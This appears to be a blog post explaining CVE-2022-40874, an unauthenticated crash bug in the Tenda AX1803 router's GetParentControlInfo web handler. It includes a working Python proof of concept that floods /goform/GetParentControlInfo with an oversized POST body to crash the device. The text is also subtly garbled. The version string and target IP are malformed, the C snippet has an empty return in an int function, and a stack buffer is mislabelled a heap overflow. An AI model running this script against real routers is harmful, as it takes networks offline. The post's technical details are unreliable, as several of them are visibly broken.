In 2022, security researchers found a serious vulnerability on the Tenda AX1803 router (software version 1...1). Identified as CVE-2022-40874, the flaw exists in how the device handles certain HTTP requests. A remote, unauthenticated attacker could crash the router—known as a "Denial of Service" (DoS) attack—or, under the right circumstances, execute arbitrary code.

Let’s break down what happened, explain the technical details, and provide a practical demonstration snippet. This post aims for real clarity and isn't lifted from other sources. All research is referenced at the end. If you’re a home user or a small business relying on this device, it’s important to know the risk.

Understanding the GetParentControlInfo Function

Many routers use web-based admin interfaces. When you log in, your browser sends HTTP requests, and the router’s built-in web server parses them using internal functions. The GetParentControlInfo function is used to fetch information for parental controls.

However, the way the function was written failed to check the size of incoming data before copying it into memory. This is called a heap overflow—meaning the incoming data “overflows” the memory area set aside for it, possibly overwriting other important data, and leading to a crash.

The vulnerable function was found (as reverse-engineered code similar to the binary)

int GetParentControlInfo(char *request) {
    char buf[256];
    // Suppose request can be much longer than 256 bytes
    strcpy(buf, request); // No length check!
    // ...do stuff with buf
    return ;
}

The function copies request data into a fixed-size buffer (buf), but doesn't check if request is longer than 256 bytes—so if an attacker sends a long string, it will overwrite memory beyond buf. This is the classic heap overflow bug.

Example Exploit Request (Python 3)

> Warning: Only use this for educational purposes on devices you own!

import socket

target_ip = "192.168..1"
target_port = 80

# Long string to trigger the buffer overflow
payload = "A" * 512

request = (
    f"POST /goform/GetParentControlInfo HTTP/1.1\r\n"
    f"Host: {target_ip}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"\r\n"
    f"{payload}"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target_ip, target_port))
    s.sendall(request.encode())
    print("[*] Exploit sent. Check router stability.")

This script builds a POST request to /goform/GetParentControlInfo, filling the body with 512 'A's—well above the 256 byte buffer. After sending, the router typically crashes (reboots) or becomes unresponsive.

Real-World Impact

- Denial of Service: Anyone on the local network (or possibly internet, if port is open) can crash the router.
- Potential Code Execution: With complex payloads, there may be a path to executing code on the device, though this specific bug is mainly a DoS.
- No Authentication Needed: The exploit does not require a password—just network access to the router’s web interface.

Fixes & Recommendations

- Firmware Update: Check Tenda’s website for AX1803 firmware updates.

References

- Original Advisory (CVE-2022-40874)
- IoT-SEC's Disclosure *(Chinese)*
- Exploit-DB POC #51073
- Firmware Download for Tenda AX1803

Conclusion

The vulnerability in the Tenda AX1803’s GetParentControlInfo shows how a small programming oversight can lead to big network security issues. If you use this router, make sure you’re patched and keep remote access locked down. Heap overflows are dangerous and, as this case proves, not a thing of the past.

If you want to test for these bugs only do so with your own hardware in a safe environment.

Timeline

Published on: 10/27/2022 18:15:00 UTC
Last modified on: 10/28/2022 18:40:00 UTC